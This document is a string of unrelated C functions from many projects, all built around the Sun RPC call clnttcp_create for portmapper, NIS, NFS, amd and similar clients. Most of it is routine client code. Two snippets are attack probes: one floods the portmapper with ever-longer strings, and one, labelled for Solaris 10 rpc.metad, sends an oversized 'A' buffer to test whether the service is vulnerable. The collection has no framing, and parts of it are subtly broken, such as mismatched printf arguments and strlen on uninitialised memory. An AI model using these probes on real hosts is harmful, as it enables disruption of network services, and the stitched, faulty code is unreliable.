/* * Get a copy of the current port maps. * Calls the pmap service remotely to do get the maps. */ struct pmaplist * pmap_getmaps (struct sockaddr_in *address) { struct pmaplist *head = (struct pmaplist *) NULL; int _socket = -1; struct timeval minutetimeout; CLIENT *client; minutetimeout.tv_sec = 60; minutetimeout.tv_usec = 0; address->sin_port = htons (PMAPPORT); /* Don't need a reserved port to get ports from the portmapper. */ client = clnttcp_create (address, PMAPPROG, PMAPVERS, &_socket, 50, 500); if (client != (CLIENT *) NULL) { if (CLNT_CALL (client, PMAPPROC_DUMP, (xdrproc_t)xdr_void, NULL, (xdrproc_t)xdr_pmaplist, (caddr_t)&head, minutetimeout) != RPC_SUCCESS) { clnt_perror (client, _("pmap_getmaps rpc problem")); } CLNT_DESTROY (client); } /* (void)close(_socket); CLNT_DESTROY already closed it */ address->sin_port = 0; return head; }
/* * Remove the mapping between program,version and port. * Calls the pmap service remotely to do the un-mapping. */ bool_t pmap_unset( unsigned long program, unsigned long version) { struct sockaddr_in myaddress; int sockfd = -1; register CLIENT *client; struct pmap parms; bool_t rslt; get_myaddress(&myaddress); client = clnttcp_create(&myaddress, PMAPPROG, PMAPVERS, &sockfd, 0, 0); if (client == (CLIENT *)NULL) return (FALSE); parms.pm_prog = program; parms.pm_vers = version; parms.pm_port = parms.pm_prot = 0; if (CLNT_CALL(client, PMAPPROC_UNSET, xdr_pmap, &parms, xdr_bool, &rslt, tottimeout) != RPC_SUCCESS) { clnt_perror(client, "pmap_unset: Cannot unregister service"); rslt = FALSE; } CLNT_DESTROY(client); return (rslt); }
/* * Get a copy of the current port maps. * Calls the pmap service remotely to do get the maps. */ struct pmaplist * pmap_getmaps(struct sockaddr_in *address) { struct pmaplist *head = NULL; int sock = -1; struct timeval minutetimeout; CLIENT *client; assert(address != NULL); minutetimeout.tv_sec = 60; minutetimeout.tv_usec = 0; address->sin_port = htons(PMAPPORT); client = clnttcp_create(address, PMAPPROG, PMAPVERS, &sock, 50, 500); if (client != NULL) { if (CLNT_CALL(client, (rpcproc_t)PMAPPROC_DUMP, (xdrproc_t)xdr_void, NULL, (xdrproc_t)xdr_pmaplist, &head, minutetimeout) != RPC_SUCCESS) { clnt_perror(client, "pmap_getmaps rpc problem"); } CLNT_DESTROY(client); } address->sin_port = 0; return (head); }
/* * Get a copy of the current port maps. * Calls the pmap service remotely to do get the maps. */ struct pmaplist * pmap_getmaps (struct sockaddr_in *address) { struct pmaplist *head = (struct pmaplist *) NULL; struct timeval minutetimeout; CLIENT *client; bool closeit = false; minutetimeout.tv_sec = 60; minutetimeout.tv_usec = 0; address->sin_port = htons (PMAPPORT); /* Don't need a reserved port to get ports from the portmapper. */ int socket = __get_socket (address); if (socket != -1) closeit = true; client = clnttcp_create (address, PMAPPROG, PMAPVERS, &socket, 50, 500); if (client != (CLIENT *) NULL) { if (CLNT_CALL (client, PMAPPROC_DUMP, (xdrproc_t)xdr_void, NULL, (xdrproc_t)xdr_pmaplist, (caddr_t)&head, minutetimeout) != RPC_SUCCESS) { clnt_perror (client, _("pmap_getmaps.c: rpc problem")); } CLNT_DESTROY (client); } /* We only need to close the socket here if we opened it. */ if (closeit) close_not_cancel (socket); address->sin_port = 0; return head; }
/** * Ensures the existence of a client-side transport on the TCP connection. * * @param[in] xprt Server-side RPC transport. * @retval true Success. * @retval false System error. `log_start()` called. */ static bool up7_ensureClientTransport( struct SVCXPRT* const xprt) { bool status; if (NULL == clnt) { /* * Create a client-side RPC transport on the TCP connection. */ do { clnt = clnttcp_create(&xprt->xp_raddr, LDMPROG, SEVEN, &xprt->xp_sock, MAX_RPC_BUF_NEEDED, 0); /* TODO: adjust sending buffer size in above */ } while (clnt == NULL && rpc_createerr.cf_stat == RPC_TIMEDOUT); if (clnt == NULL ) { LOG_START2("Couldn't create client-side transport to downstream LDM-7 on " "%s%s", hostbyaddr(&xprt->xp_raddr), clnt_spcreateerror("")); status = false; } else { status = true; } } return status; }
void nfs4_program_4(char *host) { CLIENT *clnt; struct sockaddr_in sa; int sock = RPC_ANYSOCK; memset(&sa, 0, sizeof(sa)); sa.sin_family = AF_INET; sa.sin_port = htons(NFS_TEST_PORT); inet_pton(AF_INET, "127.0.0.1", &(sa.sin_addr)); clnt = clnttcp_create (&sa, NFS4_PROGRAM, NFS_V4, &sock, 0, 0); if (clnt == NULL) { clnt_pcreateerror (host); exit (1); } clnt->cl_auth = authunix_create_default(); test(clnt); #if 0 out: #endif clnt_destroy (clnt); }
static int rpc_host_connect(CLIENT **rpc_client, const char *host) { int sock = RPC_ANYSOCK; struct hostent *he; struct sockaddr_in addr; addr.sin_family = AF_INET; addr.sin_port = htons(DEFAULT_PORT); if ((he = gethostbyname(host)) == NULL) { LOG_ERR("ERR_gethostbyname(%s): %s", host, hstrerror(h_errno)); return -1; } memcpy(&addr.sin_addr, he->h_addr_list[0], he->h_length); *rpc_client = clnttcp_create(&addr, GIGA_RPC_PROG, GIGA_RPC_VERSION, &sock, 0, 0); if (*rpc_client == NULL) { LOG_ERR("ERR_rpc_conn: %s", clnt_spcreateerror((char*)host)); return -1; } return 0; }
void notify_1 () { for (subscriber_list_iterator it = subscriber_list_begin (RD.subscribers); it != 0; subscriber_list_iterator_next (&it)) { if (!it->val->clnt) { struct sockaddr_in addr; int sock = RPC_ANYSOCK; CLIENT * clnt; addr.sin_family = AF_INET; addr.sin_port = htons (it->val->port); addr.sin_addr.s_addr = htonl (INADDR_LOOPBACK); clnt = clnttcp_create (&addr, S16_CONFIG_SUBSCRIBER_PROG, S16_CONFIG_SUBSCRIBER_V1, &sock, 0, 0); if (clnt == NULL) { clnt_pcreateerror ("localhost"); break; } it->val->clnt = clnt; } } }
/* returns NULL on error or no exports available */ exports get_export_list(char *hostname) { struct hostent *hp; struct sockaddr_in server_addr; int msock; CLIENT *mclient; exports exportlist; enum clnt_stat clnt_stat; struct timeval total_timeout; struct timeval pertry_timeout; /* get the servers address info all squared away */ if (inet_aton(hostname, (struct in_addr *) &server_addr.sin_addr.s_addr)) { server_addr.sin_family = AF_INET; } else { if ((hp = gethostbyname(hostname)) == NULL) { fprintf(stderr, "%s: can't get address for %s\n", program_name, hostname); return (NULL); } server_addr.sin_family = AF_INET; memcpy(&server_addr.sin_addr, hp->h_addr, hp->h_length); } /* create a client object. * first try a UDP client. if not * possible, then fall back to * using UDP*/ server_addr.sin_port = 0; msock = RPC_ANYSOCK; if ((mclient = clnttcp_create(&server_addr, MOUNTPROG, MOUNTVERS, &msock, 0, 0)) == NULL) { server_addr.sin_port = 0; msock = RPC_ANYSOCK; pertry_timeout.tv_sec = 3; pertry_timeout.tv_usec = 0; if ((mclient = clntudp_create(&server_addr, MOUNTPROG, MOUNTVERS, pertry_timeout, &msock)) == NULL) { clnt_pcreateerror("mount clntudp_create"); return (NULL); } } mclient->cl_auth = authunix_create_default(); total_timeout.tv_sec = 20; total_timeout.tv_usec = 0; /* Ok, get a list of exports from the server */ memset(&exportlist, '\0', sizeof(exportlist)); clnt_stat = clnt_call(mclient, MOUNTPROC_EXPORT, (xdrproc_t) xdr_void, NULL, (xdrproc_t) xdr_exports, (caddr_t) & exportlist, total_timeout); if (clnt_stat != RPC_SUCCESS) { clnt_perror(mclient, "rpc mount export"); return (NULL); } return (exportlist); }
main(int argc, char *argv[]) { if (argc < 2) { printf("usage:%s <hostname>\n",argv[0]); exit(1); } if (argc >2) { len=atoi(argv[2]); } if (len > 1024) { len=1024; } unsigned long PROGRAM=100000; unsigned long VERSION=2; struct hostent *hp; struct sockaddr_in server_addr; int sock = RPC_ANYSOCK; register CLIENT *client; enum clnt_stat clnt_stat; struct timeval timeout; timeout.tv_sec = 40; timeout.tv_usec = 0; if ((hp = gethostbyname(argv[1])) == NULL) { printf("Can't resolve %s\n",argv[1]); exit(0); } gethostname(myhost,255); bcopy(hp->h_addr, (caddr_t)&server_addr.sin_addr,hp->h_length); server_addr.sin_family = AF_INET; server_addr.sin_port = 0; if ((client = clnttcp_create(&server_addr,PROGRAM,VERSION,&sock,1024,1024)) == NULL) { clnt_pcreateerror("clnttcp_create"); exit(0); } client->cl_auth = authunix_create(myhost, 0, 0, 0, NULL); char *data = (char *) malloc(1024); memset(data,0x0,strlen(data)); char *response = (char *) malloc(1024); memset(response,0x0,strlen(response)); for (i = 0 ; i < len ; i++) { memcpy(data+strlen(data),"1",1); clnt_call(client,1,(xdrproc_t) xdr_wrapstring ,(char *) &data,(xdrproc_t) xdr_wrapstring,(char *) response,timeout); } clnt_call(client,4,(xdrproc_t) xdr_wrapstring ,(char *) &data,(xdrproc_t) xdr_wrapstring,(char *) response,timeout); clnt_destroy(client); close(sock); free(data); free(response); exit(0); }
/* * Create an rpc client attached to the mount daemon. */ CLIENT * get_mount_client(char *unused_host, struct sockaddr_in *sin, struct timeval *tv, int *sock, u_long mnt_version) { CLIENT *client; /* * First try a TCP socket */ if ((*sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) > 0) { /* * Bind to a privileged port */ if (bind_resv_port(*sock, (u_short *) NULL) < 0) plog(XLOG_ERROR, "can't bind privileged port (socket)"); /* * Find mountd port to connect to. * Connect to mountd. * Create a tcp client. */ if ((sin->sin_port = htons(pmap_getport(sin, MOUNTPROG, mnt_version, IPPROTO_TCP))) != 0) { if (connect(*sock, (struct sockaddr *) sin, sizeof(*sin)) >= 0 && ((client = clnttcp_create(sin, MOUNTPROG, mnt_version, sock, 0, 0)) != NULL)) return client; } /* * Failed so close socket */ (void) close(*sock); } /* tcp socket opened */ /* TCP failed so try UDP */ if ((*sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { plog(XLOG_ERROR, "Can't create socket to connect to mountd: %m"); *sock = RPC_ANYSOCK; return NULL; } /* * Bind to a privileged port */ if (bind_resv_port(*sock, (u_short *) NULL) < 0) plog(XLOG_ERROR, "can't bind privileged port"); /* * Zero out the port - make sure we recompute */ sin->sin_port = 0; /* * Make a UDP client */ if ((client = clntudp_create(sin, MOUNTPROG, mnt_version, *tv, sock)) == NULL) { (void) close(*sock); *sock = RPC_ANYSOCK; return NULL; } dlog("get_mount_client: Using udp, port %d", sin->sin_port); return client; }
/* * Generic client creation: takes (hostname, program-number, protocol) and * returns client handle. Default options are set, which the user can * change using the rpc equivalent of ioctl()'s. */ CLIENT * clnt_create(char *hostname, u_long prog, u_long vers, char *proto) { struct hostent *h; struct protoent *p; struct sockaddr_in sin; int sock; struct timeval tv; CLIENT *client; h = gethostbyname(hostname); if (h == NULL) { rpc_createerr.cf_stat = RPC_UNKNOWNHOST; return (NULL); } if (h->h_addrtype != AF_INET) { /* * Only support INET for now */ rpc_createerr.cf_stat = RPC_SYSTEMERROR; rpc_createerr.cf_error.re_errno = EAFNOSUPPORT; return (NULL); } memset(&sin, 0, sizeof(sin)); sin.sin_len = sizeof(struct sockaddr_in); sin.sin_family = h->h_addrtype; sin.sin_port = 0; memcpy((char*)&sin.sin_addr, h->h_addr, h->h_length); p = getprotobyname(proto); if (p == NULL) { rpc_createerr.cf_stat = RPC_UNKNOWNPROTO; rpc_createerr.cf_error.re_errno = EPFNOSUPPORT; return (NULL); } sock = RPC_ANYSOCK; switch (p->p_proto) { case IPPROTO_UDP: tv.tv_sec = 5; tv.tv_usec = 0; client = clntudp_create(&sin, prog, vers, tv, &sock); if (client == NULL) { return (NULL); } break; case IPPROTO_TCP: client = clnttcp_create(&sin, prog, vers, &sock, 0, 0); if (client == NULL) { return (NULL); } break; default: rpc_createerr.cf_stat = RPC_SYSTEMERROR; rpc_createerr.cf_error.re_errno = EPFNOSUPPORT; return (NULL); } return (client); }
CLIENT * shibrpc_client_create (ShibSocket sock, u_long program, u_long version) { struct sockaddr_in sin; memset (&sin, 0, sizeof (sin)); sin.sin_port = 1; return clnttcp_create (&sin, program, version, &sock, 0, 0); }
static CLIENT* connect_to_server (struct sockaddr_in *addr) { CLIENT *clnt; int sockp = RPC_ANYSOCK; clnt = clnttcp_create (addr, BAMBOO_DHT_GATEWAY_PROGRAM, BAMBOO_DHT_GATEWAY_VERSION, &sockp, 0, 0); if (clnt == NULL) { clnt_pcreateerror ("create error"); exit (1); } return clnt; }
int main(int argn, char *argc[]) { //Program parameters : argc[1] : HostName or Host IP // argc[2] : Server Program Number // argc[3] : Number of testes function calls // other arguments depend on test case //run_mode can switch into stand alone program or program launch by shell script //1 : stand alone, debug mode, more screen information //0 : launch by shell script as test case, only one printf -> result status int run_mode = 0; int test_status = 1; //Default test result set to FAILED int progNum = atoi(argc[2]); CLIENT *clnt = NULL; struct sockaddr_in server_addr; struct hostent *hp = NULL; int sock = RPC_ANYSOCK; int nbCall = atoi(argc[3]); int nbOk = 0; int i; //Test initialization if ((hp = gethostbyname(argc[1])) == NULL) { fprintf(stderr, "can't get addr for %s\n", argc[1]); exit(-1); } bcopy(hp->h_addr, (caddr_t) & server_addr.sin_addr, hp->h_length); server_addr.sin_family = AF_INET; server_addr.sin_port = 0; //First of all, create a client for (i = 0; i < nbCall; i++) { clnt = clnttcp_create(&server_addr, progNum, VERSNUM, &sock, 0, 0); if ((CLIENT *) clnt != NULL) nbOk++; } //If we are here, macro call was successful if (run_mode == 1) { printf("Aimed : %d\n", nbCall); printf("Got : %d\n", nbOk); } test_status = (nbOk == nbCall) ? 0 : 1; //This last printf gives the result status to the tests suite //normally should be 0: test has passed or 1: test has failed printf("%d\n", test_status); return test_status; }
static CLIENT * mkclient(struct sockaddr_in *sin, unsigned long prog, unsigned long vers, int tcp) { static struct timeval tv = { 10, 0 }; int fd = RPC_ANYSOCK; if (tcp) return clnttcp_create(sin, prog, vers, &fd, 0, 0); else return clntudp_create(sin, prog, vers, tv, &fd); }
main(int argc,char **argv) { char buffer[30000],address[4],*b,*cmd; int i,c,n,flag=1,vers=0,port=0,sck; CLIENT *cl; enum clnt_stat stat; struct hostent *hp; struct sockaddr_in adr; struct timeval tm= {10,0}; req_t req; printf("rpc.metad for solaris 10\n\n"); if(argc<2) { printf("usage: %s address\n",argv[0]); exit(-1); } printf("Using version %d and request no. %d!!\n", METAD_VERS, METAD_FUNC); printf("timeout=%d ",ntohl(*(unsigned long*)address),tm.tv_sec); fflush(stdout); adr.sin_family=AF_INET; adr.sin_port=htons(port); if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1) { if((hp=gethostbyname(argv[1]))==NULL) { errno=EADDRNOTAVAIL; perror("error"); exit(-1); } memcpy(&adr.sin_addr.s_addr,hp->h_addr,4); } sck=RPC_ANYSOCK; if(!(cl=clnttcp_create(&adr,METAD_PROG,METAD_VERS,&sck,0,0))) { clnt_pcreateerror("error"); exit(-1); } cl->cl_auth=authunix_create("localhost",0,0,0,NULL); memset(buffer, 'A', sizeof(buffer)); //buffer can also be small,this is not a bufover buffer[3000]=0; req.string=buffer; stat=clnt_call(cl,METAD_FUNC,xdr_req,&req,xdr_void,NULL,tm); if(stat==RPC_SUCCESS) { printf("\nerror: not vulnerable\n"); printf("sent!\n"); /* if(!flag) exit(0);*/ } }
CLIENT * yp_bind_host(char *server, u_long program, u_long version, u_short port, int usetcp) { struct sockaddr_in rsrv_sin; static CLIENT *client; struct hostent *h; struct timeval tv; int rsrv_sock; memset(&rsrv_sin, 0, sizeof rsrv_sin); rsrv_sin.sin_len = sizeof rsrv_sin; rsrv_sin.sin_family = AF_INET; rsrv_sock = RPC_ANYSOCK; if (port != 0) rsrv_sin.sin_port = htons(port); if (*server >= '0' && *server <= '9') { if (inet_aton(server, &rsrv_sin.sin_addr) == 0) { fprintf(stderr, "inet_aton: invalid address %s.\n", server); exit(1); } } else { h = gethostbyname(server); if (h == NULL) { fprintf(stderr, "gethostbyname: unknown host %s.\n", server); exit(1); } rsrv_sin.sin_addr.s_addr = *(u_int32_t *)h->h_addr; } tv.tv_sec = 10; tv.tv_usec = 0; if (usetcp) client = clnttcp_create(&rsrv_sin, program, version, &rsrv_sock, 0, 0); else client = clntudp_create(&rsrv_sin, program, version, tv, &rsrv_sock); if (client == NULL) { fprintf(stderr, "clntudp_create: no contact with host %s.\n", server); exit(1); } return(client); }
/* * Generic client creation: takes (hostname, program-number, protocol) and * returns client handle. Default options are set, which the user can * change using the rpc equivalent of ioctl()'s. */ CLIENT *clnt_create (const char *hostname, const unsigned long prog, const unsigned long vers, const char *proto) { int sock; struct hostent *h; struct sockaddr_in sin; struct timeval tv; CLIENT *client; h = gethostbyname(hostname); if (h == NULL) { fprintf(stderr, "rpc : unknown host\n"); return (NULL); } if (h->h_addrtype != AF_INET) { fprintf(stderr, "rpc : unknow inet\n"); return (NULL); } memset((char*)&sin,0,sizeof(sin)); sin.sin_family = h->h_addrtype; sin.sin_port = 0; memmove((char *) &sin.sin_addr, h->h_addr, h->h_length); sock = -1; if (strcmp(proto, "udp") == 0) { tv.tv_sec = 5; tv.tv_usec = 0; client = clntudp_create(&sin, prog, vers, tv, &sock); if (client == NULL) return NULL; clnt_control(client, CLSET_TIMEOUT, (char*)&tv); } else if (strcmp(proto, "tcp") == 0) { client = clnttcp_create(&sin, prog, vers, &sock, TCPMSGSIZE, TCPMSGSIZE); /* sylixos and TCPMSGSIZE */ if (client == NULL) { return (NULL); } tv.tv_sec = 25; tv.tv_usec = 0; clnt_control(client, CLSET_TIMEOUT, &tv); } else { fprintf(stderr, "rpc : unknow protocol\n"); return NULL; } return (client); }
/** * Creates a TCP connection for an LDM client. * * @param addr [in/out] Internet socket address of the LDM server. The * port number is ignored. * @param version [in] Version of the LDM server to use. * @param port [in] The port number of the LDM server. * @param client [out] The client-side transport. Set upon success. The * client should free when it is no longer needed. * @param sock [in] The socket to use for the connection. * @retval NULL Success. "*client" is set. * @return The error object. "*client" is not set. */ static ErrorObj* ldm_clnt_tcp_create( struct sockaddr_in* const addr, /* modified <=> success */ unsigned version, unsigned port, /* 0 => consult portmapper */ CLIENT** const client, /* modified <=> success */ int* const sock) /* modified <=> success */ { struct sockaddr_in ad; CLIENT* clnt; int sck; ErrorObj* error; log_assert(NULL != addr); log_assert(NULL != client); log_assert(NULL != sock); ad = *addr; sck = RPC_ANYSOCK; ad.sin_port = (short)htons((short)port); clnt = clnttcp_create(&ad, LDMPROG, version, &sck, 0, 0); if (clnt) { *client = clnt; *addr = ad; *sock = sck; error = NULL; } else { int code; if (rpc_createerr.cf_stat == RPC_TIMEDOUT) { code = LDM_CLNT_TIMED_OUT; } else if (rpc_createerr.cf_stat == RPC_UNKNOWNHOST) { code = LDM_CLNT_UNKNOWN_HOST; } else if (rpc_createerr.cf_stat == RPC_PROGVERSMISMATCH) { code = LDM_CLNT_BAD_VERSION; } else { code = LDM_CLNT_NO_CONNECT; } error = ERR_NEW(code, NULL, clnt_spcreateerror("")); } return error; }
/* * The routine transform_dir(path) transforms pathnames of directories * mounted with the amd automounter to produce a more "natural" version. * The automount table is obtained from the local amd via the rpc interface * and reverse lookups are repeatedly performed on the directory name * substituting the name of the automount link for the value of the link * whenever it occurs as a prefix of the directory name. */ static char * transform_dir(char *dir) { #ifdef DISK_HOME_HACK char *ch; #endif /* DISK_HOME_HACK */ char *server; struct sockaddr_in server_addr; int s = RPC_ANYSOCK; CLIENT *clnt; struct hostent *hp; struct timeval tmo = {10, 0}; char *dummystr; amq_string *spp; #ifdef DISK_HOME_HACK if (ch = hack_name(dir)) return ch; #endif /* DISK_HOME_HACK */ #ifdef HAVE_CNODEID server = cluster_server(); #else /* not HAVE_CNODEID */ server = localhost; #endif /* not HAVE_CNODEID */ if ((hp = gethostbyname(server)) == NULL) return dir; memset(&server_addr, 0, sizeof(server_addr)); /* as per POSIX, sin_len need not be set (used internally by kernel) */ server_addr.sin_family = AF_INET; server_addr.sin_addr = *(struct in_addr *) hp->h_addr; clnt = clntudp_create(&server_addr, AMQ_PROGRAM, AMQ_VERSION, tmo, &s); if (clnt == NULL) clnt = clnttcp_create(&server_addr, AMQ_PROGRAM, AMQ_VERSION, &s, 0, 0); if (clnt == NULL) return dir; xstrlcpy(transform, dir, sizeof(transform)); dummystr = transform; spp = amqproc_pawd_1((amq_string *) &dummystr, clnt); if (spp && *spp && **spp) { xstrlcpy(transform, *spp, sizeof(transform)); XFREE(*spp); } clnt_destroy(clnt); return transform; }
/* * Create a TCP RPC client using non-blocking connect */ static CLIENT* create_tcp_client(struct conn_info *info) { int fd; CLIENT *client; struct sockaddr_in addr; struct hostent *hp; int ret; if (info->proto->p_proto != IPPROTO_TCP) return NULL; memset(&addr, 0, sizeof(addr)); hp = gethostbyname(info->host); if (!hp) return NULL; addr.sin_family = AF_INET; addr.sin_port = htons(info->port); memcpy(&addr.sin_addr.s_addr, hp->h_addr, hp->h_length); fd = socket(PF_INET, SOCK_STREAM, info->proto->p_proto); if (fd < 0) return NULL; ret = connect_nb(fd, &addr, &info->timeout); if (ret < 0) goto out_close; client = clnttcp_create(&addr, info->program, info->version, &fd, info->send_sz, info->recv_sz); if (!client) goto out_close; /* Close socket fd on destroy, as is default for rpcowned fds */ if (!clnt_control(client, CLSET_FD_CLOSE, NULL)) { clnt_destroy(client); goto out_close; } return client; out_close: close(fd); return NULL; }
int yp_all(const char *indomain, const char *inmap, struct ypall_callback *incallback) { struct ypreq_nokey yprnk; struct dom_binding *ysd; struct timeval tv; struct sockaddr_in clnt_sin; CLIENT *clnt; u_long status; int clnt_sock; int r = 0; if (indomain == NULL || *indomain == '\0' || strlen(indomain) > YPMAXDOMAIN || inmap == NULL || *inmap == '\0' || strlen(inmap) > YPMAXMAP || incallback == NULL) return YPERR_BADARGS; if (_yp_dobind(indomain, &ysd) != 0) return YPERR_DOMAIN; tv.tv_sec = _yplib_timeout; tv.tv_usec = 0; clnt_sock = RPC_ANYSOCK; clnt_sin = ysd->dom_server_addr; clnt_sin.sin_port = 0; clnt = clnttcp_create(&clnt_sin, YPPROG, YPVERS, &clnt_sock, 0, 0); if (clnt == NULL) { printf("clnttcp_create failed\n"); r = YPERR_PMAP; goto out; } yprnk.domain = (char *)indomain; yprnk.map = (char *)inmap; ypresp_allfn = incallback->foreach; ypresp_data = (void *) incallback->data; (void) clnt_call(clnt, YPPROC_ALL, xdr_ypreq_nokey, &yprnk, xdr_ypresp_all_seq, &status, tv); clnt_destroy(clnt); if (status != YP_FALSE) r = ypprot_err(status); out: _yp_unbind(ysd); return r; }
CLIENT * s16db_context_create () { struct sockaddr_in addr; int sock = RPC_ANYSOCK; CLIENT * clnt; addr.sin_family = AF_INET; addr.sin_port = htons (12288); addr.sin_addr.s_addr = htonl (INADDR_LOOPBACK); clnt = clnttcp_create (&addr, S16_REPOSITORYD_PROG, S16_REPOSITORYD_V1, &sock, 0, 0); if (clnt == NULL) { clnt_pcreateerror ("localhost"); return 0; } return clnt; }
CLIENT * yp_bind_host(char *server, u_int program, u_int version, u_short port, int usetcp) { struct sockaddr_in rsrv_sin; int rsrv_sock; struct hostent *h; static CLIENT *client; memset(&rsrv_sin, 0, sizeof rsrv_sin); rsrv_sin.sin_len = sizeof rsrv_sin; rsrv_sin.sin_family = AF_INET; rsrv_sock = RPC_ANYSOCK; if (port != 0) { rsrv_sin.sin_port = htons(port); } if (isdigit((unsigned char)*server)) { if (inet_aton(server,&rsrv_sin.sin_addr) == 0) { errx(1, "invalid IP address `%s'", server); } } else { h = gethostbyname(server); if(h == NULL) { errx(1, "unknown host `%s'", server); } memcpy(&rsrv_sin.sin_addr.s_addr, h->h_addr_list[0], h->h_length); } if (usetcp) client = clnttcp_create(&rsrv_sin, program, version, &rsrv_sock, 0, 0); else client = clntudp_create(&rsrv_sin, program, version, _yplib_host_timeout, &rsrv_sock); if (client == NULL) errx(1, "%s: no contact with host `%s'", usetcp ? "clnttcp_create" : "clntudp_create", server); return(client); }
static ni_status ni_register(ni_name tag, unsigned udp_port, unsigned tcp_port) { nibind_registration reg; ni_status status; CLIENT *cl; int sock; struct sockaddr_in sin; struct timeval tv; sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK); sin.sin_port = 0; sin.sin_family = AF_INET; bzero(sin.sin_zero, sizeof(sin.sin_zero)); sock = socket_connect(&sin, NIBIND_PROG, NIBIND_VERS); if (sock < 0) return (NI_SYSTEMERR); tv.tv_sec = NIBIND_TIMEOUT / (NIBIND_RETRIES + 1); tv.tv_usec = 0; cl = clnttcp_create(&sin, NIBIND_PROG, NIBIND_VERS, &sock, 0, 0); if (cl == NULL) { socket_close(sock); return (NI_SYSTEMERR); } reg.tag = tag; reg.addrs.udp_port = udp_port; reg.addrs.tcp_port = tcp_port; tv.tv_sec = NIBIND_TIMEOUT; if (clnt_call(cl, NIBIND_REGISTER, xdr_nibind_registration, ®, xdr_ni_status, &status, tv) != RPC_SUCCESS) { clnt_destroy(cl); socket_close(sock); return (NI_SYSTEMERR); } clnt_destroy(cl); socket_close(sock); return (status); }
/* * Indicate whether or not the portmapper daemon is running on the local host. * * Returns: * -1 Error. errno set. * 0 Portmapper daemon is NOT running on the local host. * 1 Portmapper daemon is running on the local host. */ int local_portmapper_running() { static int status; static int cached = 0; if (!cached) { struct sockaddr_in addr; if (local_sockaddr_in(&addr)) { status = -1; } else { CLIENT* client; int socket = RPC_ANYSOCK; addr.sin_port = (short)htons((short)PMAPPORT); if ((client = clnttcp_create(&addr, PMAPPROG, PMAPVERS, &socket, 50, 500)) == NULL) { status = 0; log_notice("clnttcp_create() failure: %s", clnt_spcreateerror("")); log_info("Portmapper daemon is not running on local host"); } else { status = 1; auth_destroy(client->cl_auth); clnt_destroy(client); (void)close(socket); } } cached = 1; } return status; }
struct client * clnt_create(const char *host, __u32 prognum, __u32 versnum, const char *prot) { struct sockaddr_in raddr; struct timeval tv; int sock; sock = RPC_ANYSOCK; raddr.sin_family = AF_INET; inet_aton(host, &raddr.sin_addr); raddr.sin_port = 0; if (strcmp(prot, "udp") == 0) { tv.tv_sec = 5; tv.tv_usec = 0; return clntudp_create(&raddr, prognum, versnum, tv, &sock); } else if (strcmp(prot, "tcp") == 0) { return clnttcp_create(&raddr, prognum, versnum, &sock, 0, 0); } rpc_create_error.stat = RPC_UNKNOWNPROTO; rpc_create_error.err.extra.error = EPFNOSUPPORT; return NULL; /* protocol not supported */ }
static int rpc_host_connect(CLIENT **rpc_client, const char *host) { int sock = RPC_ANYSOCK; struct hostent *he; struct sockaddr_in addr; addr.sin_family = AF_INET; addr.sin_port = htons(DEFAULT_PORT); he = gethostbyname(host); if (!he){ err_ret("unable to resolve %s\n", host); return -1; } memcpy(&addr.sin_addr, he->h_addr_list[0], he->h_length); *rpc_client = clnttcp_create (&addr, SKYE_RPC_PROG, SKYE_RPC_VERSION, &sock, 0, 0); if (*rpc_client == NULL) { clnt_pcreateerror (NULL); return -1; } return 0; }
/************************************************************************ * * * This routine is used to register a message for sending. After * * registering, the user will refer to "send_id" when sending a * * message. * * The message can be sent to any host by specifying the hostname. If * * hostname is NULL, this routine will unregister the message. * * * * Return program number for success and 0 for failure. * * * * In RPC term, CLIENT registers program and version numbers. The * * server should have already registered these numbers. * * */ u_long ipgwin_register_msg_send( u_long send_id, /* user sender ID */ u_long prognum, /* program ID */ u_long versnum, /* program version */ char *hostname) /* hostname where the message delivers to */ { struct hostent *hp; /* database information for hostname */ struct sockaddr_in svc_addr; /* server spcket address */ CLIENT *client; /* Client info */ Cltmsg *current, *prev; /* ptrs used for message item */ Cltmsg *newitem; /* new item */ int sock = RPC_ANYSOCK; /* any socket */ /* Check if the sender ID has been registered. */ for (current=prev=clthead; current; prev=current, current=current->next) { if (current->client_id == send_id) /* Found */ { auth_destroy(current->client->cl_auth); clnt_destroy(current->client); (void)free(current->hostname); if (current == prev) /* Only one item on the list */ svchead = NULL; else prev->next = current->next; (void)free((char *)current); if (hostname == NULL) return(prognum); else break; } } /* Get hostname info */ if ((hp = gethostbyname(hostname)) == NULL) { STDERR_1("ipgwin_register_msg_send:Can't get address for %s", hostname); return(0); } /* Set socket address */ memcpy( (caddr_t)&svc_addr.sin_addr, hp->h_addr_list[0], hp->h_length); svc_addr.sin_family = AF_INET; svc_addr.sin_port = 0; /* Create RPC client using TCP */ if ((client = clnttcp_create(&svc_addr, prognum, versnum, &sock, IPG_MAX_BYTES, IPG_MAX_BYTES)) == NULL) { STDERR("ipgwin_register_msg_send:clnttcp_create"); clnt_pcreateerror("clnttcp_create"); return(0); } /* Create Authentication. Server will check the UID everytime */ /* it receives a message. */ client->cl_auth = authunix_create_default(); /* Create new item */ if ((newitem = (Cltmsg *)malloc(sizeof(Cltmsg))) == NULL) { PERROR("ipgwin_register_msg_send:malloc:Message is not registered"); return(0); } newitem->client = client; newitem->client_id = send_id; newitem->prognum = prognum; newitem->versnum = versnum; newitem->hostname = strdup(hostname); newitem->next = NULL; /* Add a new item at the front of the list */ newitem->next = clthead; clthead = newitem; return(prognum); }